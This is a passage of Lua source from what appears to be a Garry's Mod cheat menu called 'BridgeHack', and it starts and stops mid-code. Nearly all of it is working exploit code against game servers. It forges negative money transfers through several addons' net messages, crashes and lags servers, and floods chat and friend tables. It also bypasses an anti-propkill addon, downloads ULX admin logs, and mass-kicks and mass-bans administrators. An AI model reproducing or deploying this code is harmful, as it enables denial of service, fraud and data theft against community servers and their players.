do\x0a\x0a\x09\x09playerMenu:AddChoice( tostring( v:Name() ) )\x0a\x0a\x09\x09playerMenu:SetTextColor(color_black)\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09local Button = vgui.Create(\"DButton\", frame)\x0a\x0a\x09\x09Button:SetPos( 180, 2 )\x0a\x0a\x09\x09Button:SetSize( 20, 20 )\x0a\x0a\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09draw.SimpleText( \"X\", \"Default\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09frame:Close()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09local SpamHit = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09SpamHit:SetPos( 20,70 )\x0a\x0a\x09\x09SpamHit:SetSize( 150,20 )\x0a\x0a\x09\x09SpamHit:SetText( \"Get Money\" )\x0a\x0a\x09\x09SpamHit:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09SpamHit.DoClick = function()\x0a\x0a\x09\x09\x09local v = playerMenu:GetText()\x0a\x0a\x09\x09\x09net.Start( \"SendMoney\" )\x0a\x0a\x09\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09\x09net.WriteString( \"-100000000000000000000000000000000000000000\" )\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09local CrashButton = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09CrashButton:SetPos( 20,90 )\x0a\x0a\x09\x09CrashButton:SetSize( 150,20 )\x0a\x0a\x09\x09CrashButton:SetText( \"Crash Server\" )\x0a\x0a\x09\x09CrashButton:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09CrashButton.DoClick = function()\x09\x09\x09\x09\x0a\x0a\x09\x09\x09for i=0, 10 do\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_hitmanxcrash\")\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09local InfaButton = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09InfaButton:SetPos( 20,110 )\x0a\x0a\x09\x09InfaButton:SetSize( 150,20 )\x0a\x0a\x09\x09InfaButton:SetText( \"Infinite Money For Everyone\" )\x0a\x0a\x09\x09InfaButton:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09InfaButton.DoClick = function()\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_hitmanxinfa\")\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/application_form.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] HITMENU\",function()\x0a\x0a\x09\x09local HitPanel = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09\x09HitPanel:SetPos( ScrW()/5, ScrH()/10 )\x0a\x0a\x09\x09\x09HitPanel:SetSize( 300, 200 )\x0a\x0a\x09\x09\x09HitPanel:SetTitle( \" \" )\x0a\x0a\x09\x09\x09HitPanel:SetVisible( true )\x0a\x0a\x09\x09\x09HitPanel:SetDraggable( true )\x0a\x0a\x09\x09\x09HitPanel:ShowCloseButton( false )\x0a\x0a\x09\x09\x09HitPanel:MakePopup()\x0a\x0a\x09\x09\x09function HitPanel:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 255,160) )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09\x09draw.SimpleText( \"BridgeHack HitHack Menu\", \"PopupFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local Button = vgui.Create(\"DButton\", HitPanel)\x0a\x0a\x09\x09\x09Button:SetPos( 250, 0 )\x0a\x0a\x09\x09\x09Button:SetSize( 50, 25 )\x0a\x0a\x09\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09\x09draw.SimpleText( \"Close\", \"HeaderFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09\x09HitPanel:Close()\x0a\x0a\x09\x09\x09end\x09\x0a\x0a\x0a\x0a\x09\x09local HitButton = vgui.Create(\"DButton\", HitPanel)\x0a\x0a\x09\x09\x09HitButton:SetPos( 140, 100 )\x0a\x0a\x09\x09\x09HitButton:SetSize( 100, 20 )\x0a\x0a\x09\x09\x09HitButton:SetText( \"Get Money\" )\x0a\x0a\x09\x09\x09HitButton:SetTextColor( Color(255,255,255) )\x0a\x0a\x09\x09\x09function HitButton:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09HitButton.DoClick = function()\x0a\x0a\x09\x09\x09\x09ply:ConCommand(\"bh_hithack\")\x0a\x0a\x09\x09\x09end\x09\x09\x0a\x0a\x0a\x0a\x09\x09local HitSlider = vgui.Create( \"DNumSlider\", HitPanel )\x0a\x0a\x09\x09\x09HitSlider:SetPos( 20, 50 )\x0a\x0a\x09\x09\x09HitSlider:SetSize( 300, 40 )\x0a\x0a\x09\x09\x09HitSlider:SetText( \"Money Ammount\" )\x0a\x0a\x09\x09\x09HitSlider:SetMin( 0 )\x0a\x0a\x09\x09\x09HitSlider:SetMax( 1000000000 )\x0a\x0a\x09\x09\x09HitSlider:SetDecimals( 0 )\x0a\x0a\x09\x09\x09HitSlider:SetConVar( \"bh_hitmenuammount\" )\x0a\x0a\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" ) \x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] 3D Car Dealer\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_3dcardealer_spamstore\")\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] VCMOD Sell-car\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\") \x0a\x0a\x09\x09for i=0,30 do \x0a\x0a\x09\x09\x09for i=1,10 do \x0a\x0a\x09\x09\x09\x09net.Start( \"AttemptSellCar\" ) \x0a\x0a\x09\x09\x09\x09net.WriteInt( i, 8 ) \x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" ) \x0a\x0a\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] BAILNPC\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\")\x0a\x0a\x09\x09\x09net.Start( \"BailOut\" )\x0a\x0a\x09\x09\x09net.WriteEntity( ply )\x0a\x0a\x09\x09\x09net.WriteEntity( ply )\x0a\x0a\x09\x09\x09net.WriteFloat( -10000000000000)\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] REALISTIC ATM\",function()\x0a\x0a\x09\x09local DermaPanel = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09DermaPanel:SetPos( 100, 100 )\x0a\x0a\x09\x09DermaPanel:SetSize( 300, 200 )\x0a\x0a\x09\x09DermaPanel:SetTitle( \" \" )\x0a\x0a\x09\x09DermaPanel:SetVisible( true )\x0a\x0a\x09\x09DermaPanel:SetDraggable( true )\x0a\x0a\x09\x09DermaPanel:ShowCloseButton( true )\x0a\x0a\x09\x09function DermaPanel:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 0,160) )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09\x09draw.SimpleText( \"BridgeHack Realistic ATM Hack Menu\", \"PopupFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09DermaPanel:MakePopup()\x0a\x0a\x09\x09\x0a\x0a\x09\x09local TextEntry = vgui.Create( \"DTextEntry\", DermaPanel )\x0a\x0a\x09\x09TextEntry:SetPos( 75, 30 )\x0a\x0a\x09\x09TextEntry:SetSize( 150, 25 )\x0a\x0a\x09\x09TextEntry:SetText( \"Account num(Including the -!)\" )\x0a\x0a\x09\x09\x0a\x0a\x09\x09local BBDButton = vgui.Create( \"DButton\",DermaPanel )\x0a\x0a\x09\x09BBDButton:SetPos( 10, 120 )\x0a\x0a\x09\x09BBDButton:SetText( \"Give Money\" )\x0a\x0a\x09\x09BBDButton:SetTextColor( Color(255,255,255) )\x0a\x0a\x09\x09BBDButton:SetSize( 280, 75 )\x0a\x0a\x09\x09function BBDButton:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,255,150) )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09BBDButton.DoClick = function()\x0a\x0a\x09\x09\x09local accnumber = TextEntry:GetValue()\x0a\x0a\x09\x09\x09local moneytogive = GetConVarNumber(\"bh_ratm_money2give\")\x0a\x0a\x09\x09\x09chatP(\"Attempting to give \"..moneytogive..\"$ on Account Number: \"..accnumber)\x0a\x0a\x09\x09\x09net.Start(\"ATM_DepositMoney_C2S\")\x0a\x0a\x09\x09\x09\x09net.WriteTable({Memo =BridgeHack.RandomVar,Num=accnumber,Amount=-moneytogive})\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09local RenderDistance = vgui.Create( \"DNumSlider\", DermaPanel )\x0a\x0a\x09\x09RenderDistance:SetPos( 10, 50)\x0a\x0a\x09\x09RenderDistance:SetSize( 275, 25 )\x0a\x0a\x09\x09RenderDistance:SetText( \"Money to give\" )\x0a\x0a\x09\x09RenderDistance:SetMin( 0 )\x0a\x0a\x09\x09RenderDistance:SetMax( 500000 )\x0a\x0a\x09\x09RenderDistance:SetDecimals( 0 ) \x0a\x0a\x09\x09RenderDistance:SetConVar( \"bh_ratm_money2give\" )\x0a\x0a\x09end):SetImage(\"icon16/coins_add.png\")\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] TOW TRUCK DRIVER\",function() \x0a\x0a\x09\x09chatP(\"Giving money..\")\x0a\x0a\x09\x09for k,v in pairs(ents.GetAll()) do \x0a\x0a\x09\x09\x09status(\"Attempting to make fine\") \x0a\x0a\x09\x09\x09net.Start(\"TOW_SubmitWarning\")\x0a\x0a\x09\x09\x09\x09net.WriteString(LocalPlayer():SteamID())\x0a\x0a\x09\x09\x09\x09net.WriteDouble(-100000000000)\x0a\x0a\x09\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09net.Start(\"TOW_PayTheFine\")\x0a\x0a\x09\x09\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0alocal DARKRPBASEDSUB = menu:AddSubMenu( \"DarkRP Minging/Scripts\" )\x0a\x0a\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[ON] Dlog Lag\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_dlogs_lag\")\x0a\x0a\x09end):SetImage( \"icon16/table_error.png\" )\x0a\x0a\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[OFF] Dlog Lag\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_dlogs_lag_off\")\x0a\x0a\x09end):SetImage( \"icon16/table_add.png\" )\x0a\x0a\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"HitMenu Spam\",function()\x0a\x0a\x09\x09local ply = LocalPlayer()\x0a\x0a\x0a\x0a\x09\x09local frame = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09\x09frame:Center()\x0a\x0a\x09\x09\x09frame:SetSize( 200,150 )\x0a\x0a\x09\x09\x09frame:SetTitle( \"\" )\x0a\x0a\x09\x09\x09frame:MakePopup()\x0a\x0a\x09\x09\x09frame:ShowCloseButton( false )\x0a\x0a\x09\x09function frame:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09draw.SimpleText( \"BridgeHack Hitspam\", \"Default\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local playerMenu = vgui.Create( \"DComboBox\", frame )\x0a\x0a\x09\x09\x09playerMenu:SetPos( 10,40 )\x0a\x0a\x09\x09\x09\x09playerMenu:SetSize( 120,20 )\x0a\x0a\x09\x09\x09playerMenu:SetText( \"Select a Player\")\x0a\x0a\x09\x09for k, v in pairs( player.GetAll() ) do\x0a\x0a\x09\x09\x09playerMenu:AddChoice( tostring( v:Name() ) )\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local SpamHit = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09\x09SpamHit:SetPos( 50,70 )\x0a\x0a\x09\x09\x09SpamHit:SetSize( 100,20 )\x0a\x0a\x09\x09\x09SpamHit:SetText( \"Place Dem Hits\" )\x0a\x0a\x09\x09\x09SpamHit:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09\x09SpamHit.DoClick = function()\x0a\x0a\x09\x09local v = playerMenu:GetText()\x0a\x0a\x09\x09\x09for i=0, 4 do\x0a\x0a\x09\x09\x09ply:ConCommand('addhit \"'..v..'\" 500')\x0a\x0a\x09\x09\x09end \x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09local CrashButton = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09\x09CrashButton:SetPos( 50,110 )\x0a\x0a\x09\x09\x09CrashButton:SetSize( 100,20 )\x0a\x0a\x09\x09\x09CrashButton:SetText( \"Crash Server\" )\x0a\x0a\x09\x09\x09CrashButton:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09\x09CrashButton.DoClick = function()\x0a\x0a\x09\x09\x09\x09chatP(\"Hitmanmenu got rekt!\")\x0a\x0a\x09\x09\x09\x09consoleP(\"Hitmanmenu got rekt\")\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09for i=0, 10 do\x0a\x0a\x09\x09\x09\x09ply:ConCommand(\"bh_hitmancrash\")\x0a\x0a\x09\x09\x09\x09end \x0a\x0a\x09\x09end\x09\x09\x09\x0a\x0a\x0a\x0a\x09\x09local Button = vgui.Create(\"DButton\", frame)\x0a\x0a\x09\x09Button:SetPos( 170, 0 )\x0a\x0a\x09\x09Button:SetSize( 30, 20 )\x0a\x0a\x09\x09Button:SetText( \"Close\" )\x0a\x0a\x09\x09Button:SetTextColor( Color( 255, 255, 255) )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color(0,0,0,200) )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09frame:Close()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local label = vgui.Create( \"DLabel\", frame )\x0a\x0a\x09\x09label:SetPos( 10,20 )\x0a\x0a\x09\x09label:SetSize( 120,20 )\x0a\x0a\x09\x09label:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09label:SetText( \"Select Player:\" )\x0a\x0a\x09end):SetImage(\"icon16/accept.png\")\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"TP Spawn\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_tp_spawn\")\x0a\x0a\x09end):SetImage( \"icon16/cake.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[ON] Advert Spam\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_advert 1\")\x0a\x0a\x09end):SetImage( \"icon16/bell_add.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[OFF] Advert Spam\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_advert 0\")\x0a\x0a\x09end):SetImage( \"icon16/bell_delete.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"Remove looking at prop\",function()\x0a\x0a\x09\x09timer.Simple(0.1,function()\x0a\x0a\x09\x09\x09chatP(\"(This can be binded to: bh_removelookingat)\")\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_removelookingat\")\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage(\"icon16/map_delete.png\")\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[X] KUN ZIPTIES UNTIE SELF \",function() \x0a\x0a\x09\x09ply:ConCommand(\"bh_kun_ziptie_untie\")\x0a\x0a\x09end):SetImage( \"icon16/cut.png\" ) \x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"Open Armory\", function() \x0a\x0a\x09\x09chatP(\"Opening armory..\") \x0a\x0a\x09\x09ARMORY_WeaponMenu() \x0a\x0a\x09end):SetImage( \"icon16/bomb.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[ON/OFF] Spam Split Shipment / Make Shipemnt\", function()\x0a\x0a\x09\x09ply:ConCommand(\"___darkrpshipments\")\x0a\x0a\x09end):SetImage( \"icon16/cut_red.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[ON] Make everyone wanted (Cop only)\", function()\x0a\x0a\x09\x09timer.Create(\"lollol3294385\", 0.2, 0, function( )\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09\x09local ligger_type = math.random(1,13)\x0a\x0a\x09\x09\x09\x09local ligger_type1 = math.random(1,13)\x0a\x0a\x09\x09\x09\x09status(\"Attempting Want on: \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09\x09if ligger_type1 == ligger_type then\x0a\x0a\x09\x09\x09\x09\x09if last_ply == v:Nick() then\x0a\x0a\x09\x09\x09\x09\x09\x09local ligger_type = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09\x09local ligger_type1 = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09else\x0a\x0a\x09\x09\x09\x09\x09\x09ply:ConCommand(\"darkrp wanted \" .. v:Nick() .. \" \" .. math.random(1,999))\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09local last_ply = v:Nick()\x0a\x0a\x09\x09\x09\x09\x09local ligger_type = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09local ligger_type1 = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09status(\"Force Wanting: \" .. v:Nick())\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage( \"icon16/cross.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[OFF] Make everyone wanted (Cop only)\", function()\x0a\x0a\x09\x09timer.Destroy(\"lollol3294385\")\x0a\x0a\x09\x09status(\"Stopped Want All Police\")\x0a\x0a\x09end):SetImage( \"icon16/tick.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[ON] DARKRP LAG\", function()\x0a\x0a\x09\x09ply:ConCommand(\"__bh_lagdarkrpdashit\")\x0a\x0a\x09end):SetImage( \"icon16/accept.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[OFF] DARKRP LAG\", function()\x0a\x0a\x09\x09ply:ConCommand(\"__bh_stopplag\")\x0a\x0a\x09end):SetImage( \"icon16/cancel.png\" )\x0a\x0a\x09\x0a\x0a\x09local SpoofingMenu = menu:AddSubMenu(\"Spoofing Scripts\")\x0a\x0a\x09SpoofingMenu:AddOption( \"Spoof Player colours and physgun colours\", function()\x0a\x0a\x09\x09ply:ConCommand(\"cl_weaponcolor 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255))\x0a\x0a\x09\x09ply:ConCommand(\"cl_playercolor 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255))\x0a\x0a\x09\x09status(\"Spoofed Physgun And Player Color.\")\x0a\x0a\x09end):SetImage( \"icon16/color_wheel.png\" )\x0a\x0a\x09\x0a\x0a\x09local exploitshacks = menu:AddSubMenu(\"Exploits\")\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"Bypass APAnti (Anti propkill)\",function() \x0a\x0a\x09\x09chatP(\"Bypassing Apanti..\")\x0a\x0a\x09\x09net.Receive(\"sMsgStandard\", function()\x0a\x0a\x09\x09\x09print(\"#Bypassed by HaxRUs\")\x0a\x0a\x09\x09end)\x0a\x0a\x09\x0a\x0a\x09\x09net.Receive(\"sNotifyHit\", function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09net.Receive(\"sMsgAdmins\", function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09net.Receive(\"sAlertNotice\", function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage( \"icon16/link_break.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"[NLR] [ON] Freeze Spawning\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_nlr_freeze 1\")\x0a\x0a\x09end):SetImage( \"icon16/book_error.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"[NLR] [OFF] Freeze Spawning\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_nlr_freeze 0\")\x0a\x0a\x09end):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"Steal ULX Logs ( will save to download/data/ulx_logs/\" .. os.date(\"%m-%d-%y\") .. \".txt )\", function() \x0a\x0a\x09\x09status(\"Downloading ULX LOGS\")\x0a\x0a\x09\x09if file.Exists(\"download/data/ulx_logs/\" .. os.date(\"%m-%d-%y\") .. \".txt\", \"GAME\") == \"false\" then\x0a\x0a\x09\x09\x09consoleP(\"FILE EXISTS. REMOVE THE FILE BEFORE CONTINUEING!\")\x0a\x0a\x09\x09else\x0a\x0a\x09\x09\x09RequestFile(os.date( \"data/\" .. \"ulx_logs\" .. \"/\" .. \"%m-%d-%y\" .. \".txt\" ))\x0a\x0a\x09\x09\x09chatP(\"Downloading ulx logs. OPENING \" .. os.date(\"%m-%d-%y\") .. \" IN 15 SECONDS....\")\x0a\x0a\x09\x09\x09timer.Simple( 15, function()\x0a\x0a\x09\x09\x09\x09chatP(\"Opened data/ulx_logs/\" .. os.date(\"%m-%d-%y\") .. \".txt\")\x0a\x0a\x09\x09\x09\x09consoleP(\"**********************\")\x0a\x0a\x09\x09\x09\x09consoleP(\"** SUCCESS ULX DUMP **\")\x0a\x0a\x09\x09\x09\x09consoleP(\"**********************\")\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09end ):SetImage( \"icon16/lock_break.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"[AE] KICK ADMINS+\",function()\x0a\x0a\x09\x09chatP(\"Kicking... (Will only work on admins+)\")\x0a\x0a\x09\x09timer.Create( \"aekickdaskids\", 3, 0, function()\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do \x0a\x0a\x09\x09\x09\x09if( v:GetUserGroup() != \"user\" ) then\x0a\x0a\x09\x09\x09\x09\x09if( v:GetUserGroup() != \"vip\" ) then\x0a\x0a\x09\x09\x09\x09\x09\x09for i=0, 700 do \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.Start('plyWarning') \x0a\x0a\x09\x09\x09\x09\x09\x09\x09\x09net.WriteEntity(v) \x0a\x0a\x09\x09\x09\x09\x09\x09\x09\x09net.WriteString('You have to select a player before doing a action.') \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09consoleP('Attempting to kick '.. v:Nick().. \"!\")\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09end \x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage(\"icon16/wand.png\")\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"DO NO CLICK ON HERE\",function()\x0a\x0a\x09\x09chatP(\"Banning...\")\x0a\x0a\x09\x09timer.Create(BridgeHack.RandomVar..\"ulxextendedban\",1,0,function()\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do \x0a\x0a\x09\x09\x09\x09if v:GetUserGroup() != \"user\" then -- Custom first ranks, youre fucked bro\x0a\x0a\x09\x09\x09\x09\x09if v != LocalPlayer() then \x0a\x0a\x09\x09\x09\x09\x09\x09status(\"Banning.. \"..v:Nick())\x0a\x0a\x09\x09\x09\x09\x09\x09net.Start(\"banleaver\")\x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.WriteString(v:SteamID()..\"{sep}\"..\"HaxRUs Rekt You\")\x0a\x0a\x09\x09\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage(\"icon16/wand.png\")\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [ON] ATLAS CHAT: FREEZE EVERYBODY\",function() \x0a\x0a\x09\x09chatP(\"Freezing everybody.. (Except you)\")\x0a\x0a\x09\x09timer.Create(\"Imakelovetou\"..BridgeHack.RandomVar,\"3\",0, function()\x0a\x0a\x09\x09\x09local trash = \"\";\x0a\x0a\x09\x09\x09for i=0, 15000 do\x0a\x0a\x09\x09\x09\x09trash = trash .. string.char(math.random(32, 126));\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x09\x09status(\"Freeze wave incoming\")\x0a\x0a\x09\x09\x09timer.Simple(1,function()\x0a\x0a\x09\x09\x09\x09status(\"Freeze wave done\")\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x09\x09for i=0,3 do \x0a\x0a\x09\x09\x09\x09net.Start(\"atlaschat.chat\")\x0a\x0a\x09\x09\x09\x09\x09net.WriteString(\"/ \".. trash)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end) \x0a\x0a\x09end):SetImage( \"icon16/lock.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [OFF] ATLAS CHAT: FREEZE EVERYBODY\",function() \x0a\x0a\x09\x09chatP(\"Stopping the freeze..\")\x0a\x0a\x09\x09timer.Destroy(\"Imakelovetou\"..BridgeHack.RandomVar,\"3\",0, function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end) \x0a\x0a\x09end):SetImage( \"icon16/lock_open.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"[ON] ESSENTIALS ULX SPAM FRIENDS TABLE\", function() \x0a\x0a\x09\x09timer.Create(\"spamdafukFRIENDSULX\", 2, 0, function()\x0a\x0a\x09\x09\x09local friends = {}\x0a\x0a\x09\x09\x09table.insert( friends, math.random(1,9999) )\x0a\x0a\x09\x09\x09for i = 1,6000 do\x0a\x0a\x09\x09\x09\x09net.Start(\"friendlist\")\x0a\x0a\x09\x09\x09\x09net.WriteTable(friends)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09status(\"PROGRESS [10000/10000]\")\x0a\x0a\x09\x09end)\x0a\x0a\x09end ):SetImage( \"icon16/script_error.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"[OFF] ESSENTIALS ULX SPAM FRIENDS TABLE\", function()\x0a\x0a\x09\x09timer.Destroy(\"spamdafukFRIENDSULX\")\x0a\x0a\x09\x09status(\"Stopped ULX SPAM FRIENDS\")\x0a\x0a\x09end):SetImage( \"icon16/script.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"Ulx Extended TTT Weapon Spawn\", function()\x0a\x0a\x09\x09GiveMenu()\x0a\x0a\x09end):SetImage( 